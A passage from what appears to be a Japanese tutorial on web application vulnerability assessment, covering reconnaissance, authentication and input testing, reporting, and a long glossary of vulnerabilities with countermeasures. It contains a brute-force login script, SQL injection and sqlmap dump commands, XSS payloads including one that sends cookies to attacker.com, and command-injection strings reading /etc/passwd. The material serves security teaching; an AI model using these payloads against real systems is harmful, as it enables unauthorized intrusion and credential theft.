    open-pull-requests-limit: 10

特徴:

  • GitHubと統合
  • 自動プルリクエストの生成
  • 無料（GitHubを使用している場合）

手動診断の詳細なプロセス

フェーズ1: 情報収集（Reconnaissance）

1.1 アプリケーションの機能把握

  • 目標: アプリケーションがどのような機能を持っているか理解する
  • 実施内容:
  • アプリケーションの操作（マニュアルテスト）
  • 機能一覧の作成
  • 主要なエンドポイントの特定
  • 認証・認可の仕組みの理解

1.2 技術スタックの特定

  • 目標: 使用している技術を特定する
  • 実施内容:
  • HTTPヘッダーの確認（Server、X-Powered-Byなど）
  • エラーメッセージからの情報取得
  • ファイル拡張子の確認（.php、.jsp、.aspxなど）
  • クッキーの確認（セッション管理方式の特定）
  • ソースコードの確認（可能な場合）

ツール:

# HTTPヘッダーの確認
curl -I https://target-app.com

# より詳細な情報
curl -v https://target-app.com

# 技術スタックの特定
whatweb https://target-app.com

1.3 ディレクトリ構造の把握

  • 目標: アプリケーションの構造を理解する
  • 実施内容:
  • ディレクトリリスティングの確認
  • バックアップファイルの探索（.bak、.oldなど）
  • バージョン管理ディレクトリの探索（.git、.svnなど）
  • 設定ファイルの探索（.env、config.phpなど）

ツール:

# ディレクトリ探索
dirb http://target-app.com

# または
gobuster dir -u http://target-app.com -w wordlist.txt

# バックアップファイルの探索
wfuzz -c -z file,wordlist.txt http://target-app.com/FUZZ.bak

フェーズ2: 認証機能のテスト

2.1 ログイン機能のテスト

テスト項目:

    1. ブルートフォース攻撃
# ブルートフォース攻撃のテストスクリプト例
import requests

usernames = ['admin', 'user', 'test']
passwords = ['password', '123456', 'admin']

for username in usernames:
    for password in passwords:
        response = requests.post('http://target-app.com/login', 
                                data={'username': username, 
                                      'password': password})
        if 'success' in response.text:
            print(f"Found: {username}:{password}")
  1. アカウントロックアウトの確認
  2. 連続したログイン失敗でアカウントがロックされるか
  3. ロックアウト時間は適切か
  4. ロックアウトがDoS攻撃に利用されないか
  1. パスワードポリシーの確認
  2. 弱いパスワードが拒否されるか
  3. パスワードの複雑さ要件は適切か

2.2 パスワードリセット機能のテスト

テスト項目:

    1. トークンの推測可能性
# トークンの形式を確認
# 例: 数字のみ、短い、連番など
curl "http://target-app.com/reset?token=12345"
curl "http://target-app.com/reset?token=12346"
  1. トークンの有効期限
  2. トークンに有効期限があるか
  3. 期限切れトークンが拒否されるか
  1. メールアドレスの検証
  2. 存在しないメールアドレスでもリセットメールが送信されるか
  3. メールアドレスの列挙が可能か

2.3 セッション管理のテスト

テスト項目:

    1. セッションIDの推測可能性
# セッションIDの形式を確認
import requests

session_ids = []
for i in range(10):
    session = requests.Session()
    session.post('http://target-app.com/login', 
                 data={'username': 'test', 'password': 'test'})
    session_ids.append(session.cookies.get('sessionid'))

# セッションIDのパターンを分析
print(session_ids)
  1. セッション固定化攻撃
  2. ログイン前後でセッションIDが変更されるか
  3. 攻撃者が事前に取得したセッションIDを使用できるか
  1. セッションタイムアウト
  2. 適切なタイムアウト時間が設定されているか
  3. タイムアウト後にセッションが無効化されるか

フェーズ3: 入力値のテスト

3.1 SQLインジェクションのテスト

基本的なテスト:

-- 基本的なテスト
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
admin'--
admin'/*
admin' OR '1'='1
admin' OR '1'='1'--
admin' OR '1'='1'/*
admin' OR '1'='1'#
' OR 1=1--
' OR 1=1#
' OR 1=1/*
') OR '1'='1--
') OR ('1'='1--

-- UNION句のテスト
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

-- 時間差攻撃のテスト
'; WAITFOR DELAY '00:00:05'--
'; SELECT SLEEP(5)--

SQLMapを使用した自動テスト:

# 基本的なスキャン
sqlmap -u "http://target-app.com/page?id=1"

# 認証が必要な場合
sqlmap -u "http://target-app.com/page?id=1" --cookie="session=abc123"

# POSTリクエストの場合
sqlmap -u "http://target-app.com/login" --data="username=test&password=test"

# データベースの列挙
sqlmap -u "http://target-app.com/page?id=1" --dbs
sqlmap -u "http://target-app.com/page?id=1" -D database_name --tables
sqlmap -u "http://target-app.com/page?id=1" -D database_name -T table_name --columns
sqlmap -u "http://target-app.com/page?id=1" -D database_name -T table_name -C column_name --dump

3.2 XSSのテスト

基本的なテスト:

// 反射型XSSのテスト
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')

// 格納型XSSのテスト（コメント欄など）
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

// DOMベースXSSのテスト
#<script>alert('XSS')</script>
#javascript:alert('XSS')

Burp Suiteを使用したテスト:

  1. Proxy > HTTP historyでフォーム入力を記録
  2. リクエストを右クリック > "Send to Intruder"
  3. Payload positionsで入力値を選択
  4. PayloadsタブでXSSペイロードを設定
  5. Attackを開始
  6. レスポンスでXSSが実行されているか確認

3.3 コマンドインジェクションのテスト

基本的なテスト:

# Unix/Linux
; ls
| ls
|| ls
& ls
&& ls
`ls`
$(ls)
; cat /etc/passwd
| cat /etc/passwd

# Windows
& dir
| dir
|| dir
; dir
%0a dir

フェーズ4: 認可のテスト

4.1 権限昇格のテスト

水平権限昇格（Horizontal Privilege Escalation）:

  1. ユーザーAでログイン
  2. ユーザーAのリソース（例: /profile/123）にアクセス
  3. URLのIDを変更（例: /profile/456）
  4. ユーザーBのリソースにアクセスできるか確認

垂直権限昇格（Vertical Privilege Escalation）:

  1. 一般ユーザーでログイン
  2. 管理者機能のURLに直接アクセス（例: /admin/users）
  3. 管理者機能にアクセスできるか確認
  4. 管理者機能のリクエストを送信して動作するか確認

4.2 IDOR（Insecure Direct Object Reference）のテスト

テスト手順:

  1. 認証されたユーザーとしてリソースにアクセス
  2. リソースIDを変更（例: /file?id=123 → /file?id=456）
  3. 他のユーザーのリソースにアクセスできるか確認
  4. アクセス制御が実装されているか確認

フェーズ5: その他の機能のテスト

5.1 ファイルアップロード機能のテスト

テスト項目:

  1. 実行可能ファイルのアップロード
  2. PHP、JSP、ASPなどのスクリプトファイル
  3. 拡張子の偽装（malicious.php.jpg）
  4. マジックナンバーの偽装
  1. ファイルサイズの制限
  2. 過大なファイルのアップロード
  3. DoS攻撃の可能性
  1. ファイル名の検証
  2. 危険な文字（../、\など）の使用
  3. 長すぎるファイル名

5.2 エラーハンドリングのテスト

テスト項目:

  1. エラーメッセージの内容
  2. 詳細な情報が漏洩していないか
  3. スタックトレースが表示されていないか
  4. データベースエラーの詳細が表示されていないか
  1. エラーページのカスタマイズ
  2. デフォルトのエラーページが使用されていないか
  3. バージョン情報が含まれていないか

診断レポートの作成

レポートの構成

1. エグゼクティブサマリー

  • 対象: 経営層、プロジェクトマネージャー
  • 内容:
  • 診断の概要
  • 発見された脆弱性の統計
  • リスク評価
  • 推奨事項

2. 詳細な脆弱性レポート

  • 各脆弱性について:
  • 脆弱性の名称
  • 重大度（Critical、High、Medium、Low）
  • 影響範囲
  • 再現手順（ステップバイステップ）
  • スクリーンショットやHTTPリクエスト/レスポンス
  • 対策方法
  • 参考資料

3. 技術的な詳細

  • 対象: 開発者、セキュリティチーム
  • 内容:
  • 技術的な説明
  • コード例
  • 修正例

レポートのテンプレート例

レポートは以下のような構造で作成します:

1. エグゼクティブサマリー

  • 診断日: 2025年1月15日
  • 対象アプリケーション: https://example.com
  • 発見された脆弱性: 15件
  • Critical: 2件
  • High: 5件
  • Medium: 6件
  • Low: 2件

2. 脆弱性詳細

例: [VULN-001] SQLインジェクション（Critical）

  • 場所: /search?q=
  • 説明: 検索機能でSQLインジェクションが可能
  • 影響: データベース全体の情報漏洩
  • 再現手順:
  1. ブラウザで https://example.com/search?q=test にアクセス
  2. URLを https://example.com/search?q=test' OR '1'='1 に変更
  3. すべてのユーザー情報が表示される
  4. 対策: プリペアドステートメントを使用
  5. 修正例（Java）:
// 修正前
String query = "SELECT * FROM users WHERE name = '" + name + "'";

// 修正後
String query = "SELECT * FROM users WHERE name = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, name);

診断のベストプラクティス

1. 包括的なアプローチ

  • 複数の手法を組み合わせ: SAST、DAST、手動テストを組み合わせる
  • 継続的な診断: 開発ライフサイクル全体で実施
  • 定期的な診断: 四半期ごと、または重要なリリース前に実施

2. 優先順位の設定

  • Critical: 即座に対応が必要
  • High: できるだけ早く対応
  • Medium: 計画的な対応
  • Low: 改善の機会がある場合に対応

3. 誤検知の管理

  • 検証: 自動ツールの結果を必ず手動で検証
  • 文脈の考慮: 実際の影響を評価
  • レポート: 誤検知も記録して、ツールの調整に活用

4. セキュリティ文化の構築

  • 開発者教育: セキュリティ意識の向上
  • コードレビュー: セキュリティ観点のレビュー
  • インシデント対応: 発見された脆弱性からの学習

よくある課題と解決策

課題1: 誤検知が多い

解決策:

  • ツールの設定を調整
  • カスタムルールの作成
  • 手動での検証を徹底

課題2: 診断に時間がかかる

解決策:

  • 自動化ツールの活用
  • CI/CDパイプラインへの統合
  • 段階的な診断（重要機能から優先）

課題3: 開発チームの抵抗

解決策:

  • セキュリティ教育の実施
  • 診断の目的を明確化
  • 建設的なフィードバックの提供

課題4: リソースの不足

解決策:

  • 外部専門家の活用
  • 自動化ツールの導入
  • 優先順位の明確化

診断の頻度

開発中

  • 継続的なテスト: CI/CDパイプラインに統合
  • コミットごと: SASTを自動実行
  • プルリクエスト時: 包括的なスキャン

リリース前

  • 包括的な診断: すべての機能をテスト
  • ペネトレーションテスト: 専門家による詳細なテスト
  • セキュリティレビュー: コードと設定のレビュー

運用中

  • 定期的: 四半期ごと、または年に数回
  • 変更時: 重要な機能追加や変更時
  • インシデント後: セキュリティインシデント発生後

診断ツールの比較表
OWASP ZAP DAST 無料 中 オープンソース、初心者向け
Burp Suite DAST 有料/無料 高 プロフェッショナル向け
SonarQube SAST 無料/有料 中 コード品質とセキュリティ
SQLMap 専用 無料 中 SQLインジェクション専用
Nikto DAST 無料 低 Webサーバースキャン
Snyk SCA 有料 低 依存関係の脆弱性
OWASP Dependency-Check SCA 無料 中 依存関係の脆弱性

実践的な診断シナリオ

シナリオ1: 新規Webアプリケーションの診断

ステップ:

  1. 情報収集（1-2日）
  2. 自動スキャン（OWASP ZAP）（1日）
  3. 手動テスト（3-5日）
  4. レポート作成（1日）

成果物:

  • 脆弱性レポート
  • 修正優先順位リスト
  • セキュリティ改善計画

シナリオ2: 既存アプリケーションの定期診断

ステップ:

  1. 前回からの変更点の確認
  2. 自動スキャン（差分テスト）
  3. 新機能の重点テスト
  4. レポート作成

成果物:

  • 差分レポート
  • 新規脆弱性リスト
  • 修正状況の追跡

まとめ

脆弱性診断は、Webアプリケーションのセキュリティを確保する上で不可欠なプロセスです。SAST、DAST、IAST、SCAなどの様々な手法を組み合わせ、継続的に実施することで、脆弱性を早期に発見・修正し、セキュリティリスクを最小化できます。

重要なポイント:

  • 多角的なアプローチ: 複数の手法を組み合わせる
  • 継続的な実施: 開発ライフサイクル全体で実施
  • 優先順位の設定: リスクに基づいた優先順位付け
  • チーム全体の取り組み: セキュリティ文化の構築

クリックジャッキング（Clickjacking）

定義

攻撃者が透明なiframeなどを使用して、ユーザーに意図しない操作を実行させる攻撃手法です。

攻撃の仕組み

  1. 基本的な攻撃例
  2. 攻撃者が悪意のあるページを作成
  3. ターゲットサイトを透明なiframeで読み込む
  4. ユーザーがボタンをクリックしようとすると、実際にはiframe内のボタンがクリックされる
  5. ユーザーが意図しない操作（送金、削除など）が実行される
  1. カーソルジャッキング（Cursorjacking）
  2. カーソルの位置を視覚的に偽装
  3. ユーザーが実際にクリックしている位置と、見た目の位置が異なる

影響範囲

  • 意図しない操作の実行: 送金、削除、設定変更など
  • 機密情報の入力: ログイン情報の入力
  • ソーシャルエンジニアリング: 偽のボタンやリンクのクリック

対策方法

  • X-Frame-Optionsヘッダーの設定: DENYまたはSAMEORIGINを設定
  • Content Security Policy（CSP）のframe-ancestorsディレクティブ: フレームの埋め込み元を制限
  • JavaScriptによるフレーム検出: フレーム内で実行されている場合に警告を表示

パスワード関連の脆弱性

弱いパスワード

  • 定義: 推測されやすい、またはブルートフォース攻撃に弱いパスワード
  • 問題点:
  • 短いパスワード（8文字未満）
  • 辞書に含まれる単語のみ
  • 個人情報を含む（名前、生年月日など）
  • 数字のみ、アルファベットのみ
  • 対策:
  • パスワードポリシーの設定（最小文字数、複雑さの要件）
  • パスワード強度メーターの表示
  • 一般的なパスワードリストとの照合

パスワードリスト攻撃（Credential Stuffing）

  • 定義: 他のサイトから漏洩したパスワードリストを使用して、別のサイトにログインを試みる攻撃
  • 対策:
  • 多要素認証（MFA）の導入
  • ログイン試行回数の制限
  • 異常なログイン試行の検知と通知

ブルートフォース攻撃

  • 定義: すべての可能なパスワードの組み合わせを試行する攻撃
  • 対策:
  • ログイン試行回数の制限（例: 5回失敗でアカウントロック）
  • レート制限（Rate Limiting）
  • CAPTCHAの導入
  • アカウントロックアウト機能

パスワードリセット機能の脆弱性

  • 問題点:
  • リセットトークンが推測可能
  • トークンが期限切れにならない
  • トークンがURLに含まれる（ログに記録される可能性）
  • メールアドレスの検証が不十分
  • 対策:
  • 十分に長く、ランダムなトークンを生成
  • トークンに有効期限を設定（例: 1時間）
  • トークンを一度使用したら無効化
  • メールアドレスの存在確認を実施

パスワードの平文保存

  • 定義: パスワードを暗号化せずに平文で保存する重大な脆弱性
  • 対策:
  • 強力なハッシュアルゴリズムを使用（bcrypt、Argon2、PBKDF2）
  • ソルト（salt）の使用
  • レインボーテーブル攻撃への対策

認証関連の脆弱性

認証バイパス

  • 定義: 認証を回避して、認証が必要な機能にアクセスできる脆弱性
  • 原因:
  • 認証チェックの不備
  • 直接URLアクセスによる回避
  • セッション管理の不備
  • 対策:
  • すべての認証が必要なページで認証チェックを実施
  • フレームワークの認証機能を活用
  • 認証ミドルウェアの使用

ログイン試行制限の不備

  • 問題点:
  • 無制限にログイン試行が可能
  • IPアドレスベースの制限のみ（プロキシ経由で回避可能）
  • 対策:
  • アカウント単位での試行回数制限
  • レート制限の導入
  • CAPTCHAの表示（複数回失敗後）

アカウントロックアウト機能の不備

  • 問題点:
  • アカウントロックアウトがDoS攻撃に利用される可能性
  • ロックアウト期間が長すぎる、または短すぎる
  • 対策:
  • 段階的なロックアウト（短時間→長時間）
  • 管理者による手動解除機能
  • ロックアウト通知の送信

認証トークンの不適切な管理

  • 問題点:
  • トークンがURLに含まれる
  • トークンに有効期限がない
  • トークンが推測可能
  • 対策:
  • トークンをクッキーに保存
  • 有効期限を設定
  • 十分に長く、ランダムなトークンを生成

サーバーサイドテンプレートインジェクション（SSTI）

定義

サーバー側のテンプレートエンジンに悪意のあるコードが注入される脆弱性です。

影響範囲

  • リモートコード実行: サーバー上で任意のコードを実行
  • ファイルシステムへのアクセス: サーバー上のファイルを読み取り・書き込み
  • システム情報の漏洩: 環境変数、設定ファイルの内容

対策方法

  • テンプレートエンジンの設定: コード実行を無効化
  • 入力値のサニタイゼーション: 危険な文字や構文を除去
  • ホワイトリスト方式: 許可された変数のみ使用
  • テンプレートエンジンの更新: 最新の安全なバージョンを使用

ビジネスロジックの脆弱性

定義

アプリケーションのビジネスロジックに存在するセキュリティ上の欠陥です。

主な種類

  1. 価格操作
  2. 商品の価格をクライアント側で変更可能
  3. 負の価格、0円での購入が可能
  1. 数量制限の回避
  2. 購入数量の上限を回避
  3. 在庫数のチェックが不十分
  1. プロセス順序の回避
  2. 決済プロセスをスキップ
  3. 認証プロセスをバイパス
  1. 権限の不適切な使用
  2. 一般ユーザーが管理者機能にアクセス
  3. 他人のアカウント情報を変更

対策方法

  • サーバー側での検証: すべてのビジネスロジックをサーバー側で実装
  • 二重チェック: 重要な操作は複数回検証
  • ログの記録: ビジネスロジックに関連する操作をログに記録
  • ペネトレーションテスト: ビジネスロジックのテストを実施

タイミング攻撃（Timing Attack）

定義

処理時間の違いを利用して、機密情報を推測する攻撃手法です。

攻撃の仕組み

  • パスワード認証の例:
  • 正しいパスワードと間違ったパスワードで処理時間が異なる
  • 文字ごとに比較する実装では、最初の文字が一致すると処理時間が長くなる
  • 処理時間の違いから、正しいパスワードを推測

対策方法

  • 定数時間比較: 文字列比較に定数時間を要する関数を使用
  • ハッシュ関数の使用: パスワードをハッシュ化してから比較
  • レート制限: 攻撃の試行回数を制限

競合状態（Race Condition）

定義

複数のリクエストが同時に処理される際に、予期しない動作が発生する脆弱性です。

影響範囲

  • 二重送金: 同じ送金処理が複数回実行される
  • 在庫数の不整合: 在庫数が負の値になる
  • 権限の昇格: 同時に権限変更リクエストを送信

対策方法

  • トランザクションの使用: データベーストランザクションで整合性を保証
  • ロック機構: 排他制御により同時アクセスを防ぐ
  • 楽観的ロック: バージョン番号を使用して更新を制御

情報漏洩

ソースコードの漏洩

  • 原因:
  • バックアップファイルの公開（.bak、.oldなど）
  • バージョン管理システムの公開（.git、.svnなど）
  • エラーメッセージにソースコードが含まれる
  • 対策:
  • バックアップファイルをWebサーバーのドキュメントルート外に保存
  • バージョン管理ディレクトリへのアクセスを制限
  • エラーメッセージから詳細情報を除外

隠しファイル・ディレクトリの公開

  • 問題点:
  • .htaccess、.envなどの設定ファイルが公開
  • .DS_Store（macOS）、Thumbs.db（Windows）などの隠しファイル
  • 対策:
  • Webサーバーの設定で隠しファイルへのアクセスを拒否
  • 機密ファイルをドキュメントルート外に配置

ディレクトリリスティング

  • 定義: ディレクトリの内容が一覧表示される設定
  • 対策:
  • ディレクトリリスティングを無効化
  • index.htmlなどのインデックスファイルを配置

メタデータの漏洩

  • 問題点:
  • EXIFデータ（画像ファイルの位置情報など）
  • ドキュメントのメタデータ（作成者、編集履歴など）
  • 対策:
  • アップロード時にメタデータを削除
  • 機密情報が含まれるメタデータをサニタイズ

Webサーバーの設定ミス

不要なHTTPメソッドの有効化

  • 問題点:
  • PUT、DELETE、TRACEなどのメソッドが有効
  • サーバー上でファイルの作成・削除が可能
  • 対策:
  • 必要なHTTPメソッドのみ許可
  • OPTIONSメソッドで利用可能なメソッドを確認

デフォルト設定の使用

  • 問題点:
  • デフォルトのパスワード、アカウント名を使用
  • デフォルトのディレクトリ構造
  • デフォルトのエラーページ
  • 対策:
  • デフォルト設定を変更
  • セキュリティガイドラインに従った設定

詳細なエラーページの表示

  • 問題点:
  • デフォルトのエラーページにバージョン情報が含まれる
  • スタックトレースが表示される
  • 対策:
  • カスタムエラーページを作成
  • 本番環境では詳細なエラー情報を非表示

APIセキュリティ

API認証の不備

  • 問題点:
  • APIキーがURLに含まれる（ログに記録される）
  • APIキーが推測可能
  • トークンに有効期限がない
  • 対策:
  • OAuth 2.0、JWTなどの標準的な認証方式を使用
  • APIキーをHTTPヘッダーに含める
  • トークンに有効期限を設定

レート制限の不備

  • 問題点:
  • APIへの無制限なアクセスが可能
  • DoS攻撃に利用される
  • 対策:
  • レート制限の実装（例: 1分間に100リクエスト）
  • IPアドレスベース、APIキーベースの制限

APIインジェクション

  • 定義: API経由でSQLインジェクション、コマンドインジェクションなどが実行される
  • 対策: 通常のWebアプリケーションと同様の対策を実施

CORS（Cross-Origin Resource Sharing）の不適切な設定

  • 問題点:
  • すべてのオリジンからのアクセスを許可
  • クレデンシャルを含むリクエストを許可
  • 対策:
  • 必要なオリジンのみ許可
  • 適切なCORSヘッダーの設定

証明書とTLS

証明書の検証不備

  • 問題点:
  • 自己署名証明書の使用
  • 証明書の検証をスキップ
  • 期限切れ証明書の使用
  • 対策:
  • 信頼できる認証局（CA）から発行された証明書を使用
  • 証明書の検証を必ず実施
  • 証明書の有効期限を監視

弱いTLS設定

  • 問題点:
  • 古いバージョンのTLS（TLS 1.0、1.1）の使用
  • 弱い暗号スイートの使用
  • 不完全な前方秘匿性（Forward Secrecy）
  • 対策:
  • 最新のTLSバージョン（TLS 1.2以上）を使用
  • 強力な暗号スイートのみ許可
  • 完全な前方秘匿性を有効化

サブドメイン乗っ取り（Subdomain Takeover）

定義

使用されていないサブドメインのDNSレコードが削除された後、攻撃者がそのサブドメインを登録して乗っ取る攻撃です。

影響範囲

  • フィッシング攻撃: 正規のサブドメインを装った偽サイトの構築
  • クッキーの盗難: 同一オリジンポリシーの悪用
  • ブランドの毀損: 正規サイトを装った悪意のあるコンテンツの公開

対策方法

  • DNSレコードの監視: 使用されていないサブドメインのDNSレコードを削除しない
  • CNAMEレコードの確認: 外部サービスのCNAMEレコードが正しく設定されているか確認
  • 定期的な監査: サブドメインの使用状況を定期的に確認

その他の重要な脆弱性

コマンドインジェクション

  • 定義: システムコマンドを実行する際に、ユーザー入力が適切に処理されず、任意のコマンドが実行される脆弱性
  • 対策: シェル実行を避ける、入力値の検証、最小権限の原則

LDAPインジェクション

  • 定義: LDAPクエリに悪意のある入力が注入される脆弱性
  • 対策: パラメータ化クエリ、入力値の検証

XPathインジェクション

  • 定義: XPathクエリに悪意のある入力が注入される脆弱性
  • 対策: パラメータ化クエリ、入力値の検証

サーバーサイドリクエストフォージェリ（SSRF）

  • 定義: サーバーが任意のURLにリクエストを送信できてしまう脆弱性
  • 詳細:
  • 攻撃の仕組み: 内部ネットワークへのアクセス、ローカルファイルの読み取り
  • 影響範囲: 内部システムへの不正アクセス、クラウドメタデータサービスの悪用
  • 対策: 許可されたURLのみ許可、内部ネットワークへのアクセスを制限、URLスキームの検証

クライアントサイドテンプレートインジェクション（CSTI）

  • 定義: クライアント側のテンプレートエンジンに悪意のあるコードが注入される脆弱性
  • 対策: テンプレートのサニタイゼーション、CSPの設定

メールヘッダーインジェクション

  • 定義: メール送信機能において、メールヘッダーに悪意のある内容が注入される脆弱性
  • 対策: 改行文字の除去、入力値の検証

不適切なキャッシュ制御

  • 定義: 機密情報がキャッシュされ、他ユーザーに漏洩する脆弱性
  • 詳細:
  • ブラウザキャッシュ: 機密情報がブラウザにキャッシュされる
  • プロキシキャッシュ: 中間プロキシにキャッシュされる
  • CDNキャッシュ: CDNにキャッシュされる
  • 対策: 適切なCache-Controlヘッダーの設定、機密情報のキャッシュ無効化、no-store、no-cacheの使用

ホームページ乗っ取り

定義

Webサイトの管理者権限を取得し、サイトの内容を改ざんする攻撃です。

攻撃の手法

  • FTP/SSH認証情報の盗取: フィッシング、キーロガーなど
  • CMSの脆弱性の悪用: WordPress、Joomlaなどのプラグインの脆弱性
  • SQLインジェクション: データベースの内容を改ざん
  • ファイルアップロードの脆弱性: Web Shellのアップロード

対策方法

  • 多要素認証の導入: FTP/SSHアクセスに多要素認証を設定
  • CMSの更新: 定期的な更新とパッチの適用
  • 最小権限の原則: 必要最小限の権限のみ付与
  • 定期的な監視: ファイルの改ざん検知

キャッシュポイズニング

定義

攻撃者がキャッシュサーバーに悪意のあるコンテンツを保存させ、他のユーザーに配信させる攻撃です。

攻撃の仕組み

  • HTTPヘッダーインジェクションを利用
  • キャッシュキーの生成に不備がある場合、異なるコンテンツが同じキーでキャッシュされる
  • ユーザーが悪意のあるコンテンツを閲覧

対策方法

  • キャッシュキーの適切な生成: リクエストのすべての重要な要素を含める
  • Varyヘッダーの使用: キャッシュキーの生成に影響するヘッダーを指定
  • キャッシュ制御の適切な設定: 機密情報はキャッシュしない

サービス拒否攻撃（DoS/DDoS）

定義

サービスを利用不能にする攻撃です。DoSは単一のソースから、DDoSは複数のソースから同時に攻撃を行います。

攻撃の種類

  1. アプリケーション層DoS（Layer 7 DDoS）
  2. Slowloris攻撃: HTTPリクエストをゆっくり送信してサーバーリソースを消費
  3. HTTP Flood: 大量のHTTPリクエストを送信
  4. Slow HTTP POST: POSTリクエストのボディをゆっくり送信
  1. ネットワーク層DoS（Layer 3/4 DDoS）
  2. SYN Flood: 大量のSYNパケットを送信
  3. UDP Flood: 大量のUDPパケットを送信
  4. ICMP Flood: 大量のICMPパケットを送信
  1. アプリケーション固有のDoS
  2. XML爆弾（Billion Laughs攻撃）: XMLエンティティの再帰的な展開
  3. 正規表現DoS（ReDoS）: 悪意のある正規表現による処理時間の増加
  4. デシリアライゼーションDoS: 巨大なオブジェクトのデシリアライゼーション

対策方法

  • レート制限: IPアドレスやユーザーごとのリクエスト数を制限
  • DDoS対策サービス: クラウドベースのDDoS対策サービスの利用
  • CDNの活用: トラフィックを分散
  • タイムアウトの設定: 長時間接続を切断
  • リソース制限: CPU、メモリ、接続数の制限

WebSocketセキュリティ

定義

WebSocket接続におけるセキュリティ上の脆弱性です。

主な脆弱性

  1. 認証の不備
  2. WebSocket接続時に認証チェックが不十分
  3. セッション管理の不備
  1. メッセージの検証不足
  2. メッセージサイズの制限がない
  3. メッセージ内容の検証が不十分
  1. クロスサイトWebSocketハイジャック（CSWSH）
  2. クロスサイトリクエストでWebSocket接続を確立
  3. 認証情報が自動的に送信される

対策方法

  • Originヘッダーの検証: 許可されたオリジンからの接続のみ許可
  • 認証トークンの使用: WebSocket接続時に認証トークンを検証
  • メッセージの検証: メッセージサイズと内容を検証
  • 暗号化通信: WSS（WebSocket Secure）の使用
  • レート制限: WebSocket接続とメッセージのレート制限

GraphQLセキュリティ

定義

GraphQL APIにおけるセキュリティ上の脆弱性です。

主な脆弱性

  1. クエリの複雑さによるDoS
  2. 深いネストされたクエリ
  3. 大量のフィールドを要求するクエリ
  4. 循環参照を利用したクエリ
  1. 認証・認可の不備
  2. フィールドレベルでの認可チェックが不十分
  3. 認証トークンの検証が不十分
  1. 情報漏洩
  2. エラーメッセージに詳細情報が含まれる
  3. イントロスペクション（スキーマ情報の取得）が有効
  1. バッチリクエスト攻撃
  2. 複数のクエリを一度に実行
  3. リソース消費の増加

対策方法

  • クエリの複雑さ制限: クエリの深さ、フィールド数、エイリアス数を制限
  • レート制限: クエリの実行回数を制限
  • フィールドレベルの認可: 各フィールドへのアクセス権限をチェック
  • イントロスペクションの無効化: 本番環境ではイントロスペクションを無効化
  • エラーメッセージの制御: 詳細なエラー情報を非表示

Webアプリケーションファイアウォール（WAF）

定義

Webアプリケーションの前に配置され、HTTP/HTTPSトラフィックを監視・フィルタリングするセキュリティシステムです。

主な機能

  1. 攻撃パターンの検知
  2. SQLインジェクション、XSS、コマンドインジェクションなどの検知
  3. シグネチャベースの検知
  1. レート制限
  2. IPアドレスやセッションごとのリクエスト数制限
  3. APIレート制限
  1. ボット対策
  2. 悪意のあるボットの検知とブロック
  3. CAPTCHAの表示
  1. DDoS対策
  2. 異常なトラフィックの検知とブロック
  3. トラフィックの分散

設定の注意点

  • 誤検知（False Positive）: 正常なリクエストをブロックしないよう調整
  • ルールの更新: 最新の攻撃パターンに対応したルールの更新
  • パフォーマンスへの影響: レスポンス時間への影響を考慮

レート制限（Rate Limiting）

定義

一定時間内のリクエスト数を制限するセキュリティ対策です。

実装方法

  1. トークンバケット（Token Bucket）
  2. 一定時間ごとにトークンを補充
  3. リクエストごとにトークンを消費
  1. スライディングウィンドウ（Sliding Window）
  2. 時間窓内のリクエスト数をカウント
  3. 時間窓をスライドさせて制限
  1. 固定ウィンドウ（Fixed Window）
  2. 固定の時間窓でリクエスト数をカウント
  3. シンプルだが、ウィンドウ境界で集中する可能性

制限の単位

  • IPアドレス: IPアドレスごとに制限
  • ユーザー: 認証済みユーザーごとに制限
  • APIキー: APIキーごとに制限
  • エンドポイント: エンドポイントごとに異なる制限

実装例

  • HTTPステータスコード: 429 Too Many Requestsを返す
  • Retry-Afterヘッダー: 再試行可能な時間を通知
  • X-RateLimit-*ヘッダー: 制限情報をクライアントに通知

バージョン情報の漏洩

定義

アプリケーションやサーバーのバージョン情報が漏洩し、既知の脆弱性を悪用されるリスクです。

漏洩経路

  1. HTTPヘッダー
  2. Serverヘッダー: Server: Apache/2.4.41
  3. X-Powered-Byヘッダー: X-Powered-By: PHP/7.4.3
  1. エラーメッセージ
  2. スタックトレースにバージョン情報が含まれる
  3. データベースエラーメッセージにバージョン情報
  1. デフォルトファイル
  2. デフォルトのエラーページ
  3. デフォルトのロボットファイル
  1. ソースコード
  2. コメント内のバージョン情報
  3. ライブラリのバージョン情報

対策方法

  • HTTPヘッダーの非表示: バージョン情報を含むヘッダーを削除または偽装
  • エラーメッセージの制御: バージョン情報を含めない
  • デフォルトファイルの削除: 不要なデフォルトファイルを削除
  • ソースコードの最適化: 本番環境ではコメントを削除

セキュリティヘッダーの完全なリスト

HTTP Strict Transport Security (HSTS)

  • 目的: HTTPS通信を強制
  • 設定例: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • パラメータ:
  • max-age: 有効期限（秒）
  • includeSubDomains: サブドメインにも適用
  • preload: HSTSプリロードリストに登録

Content Security Policy (CSP)

  • 目的: XSS攻撃の防止
  • 設定例: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'
  • 主要ディレクティブ:
  • default-src: デフォルトのソース
  • script-src: スクリプトのソース
  • style-src: スタイルシートのソース
  • img-src: 画像のソース
  • connect-src: 接続先（fetch、XMLHttpRequestなど）
  • frame-ancestors: フレームの親要素

X-Frame-Options

  • 目的: クリックジャッキング攻撃の防止
  • 設定例: X-Frame-Options: DENY または SAMEORIGIN
  • 値:
  • DENY: すべてのフレームでの埋め込みを拒否
  • SAMEORIGIN: 同一オリジンからのみ埋め込みを許可

X-Content-Type-Options

  • 目的: MIMEタイプスニッフィングの防止
  • 設定例: X-Content-Type-Options: nosniff
  • 効果: ブラウザがファイルの内容からMIMEタイプを推測しない

Referrer-Policy

  • 目的: リファラー情報の制御
  • 設定例: Referrer-Policy: strict-origin-when-cross-origin
  • 値:
  • no-referrer: リファラーを送信しない
  • same-origin: 同一オリジンのみ送信
  • strict-origin-when-cross-origin: クロスオリジン時はオリジンのみ送信

Permissions-Policy（旧Feature-Policy）

  • 目的: ブラウザ機能の使用を制限
  • 設定例: Permissions-Policy: geolocation=(), microphone=(), camera=()
  • 主要機能: geolocation、microphone、camera、payment、usbなど

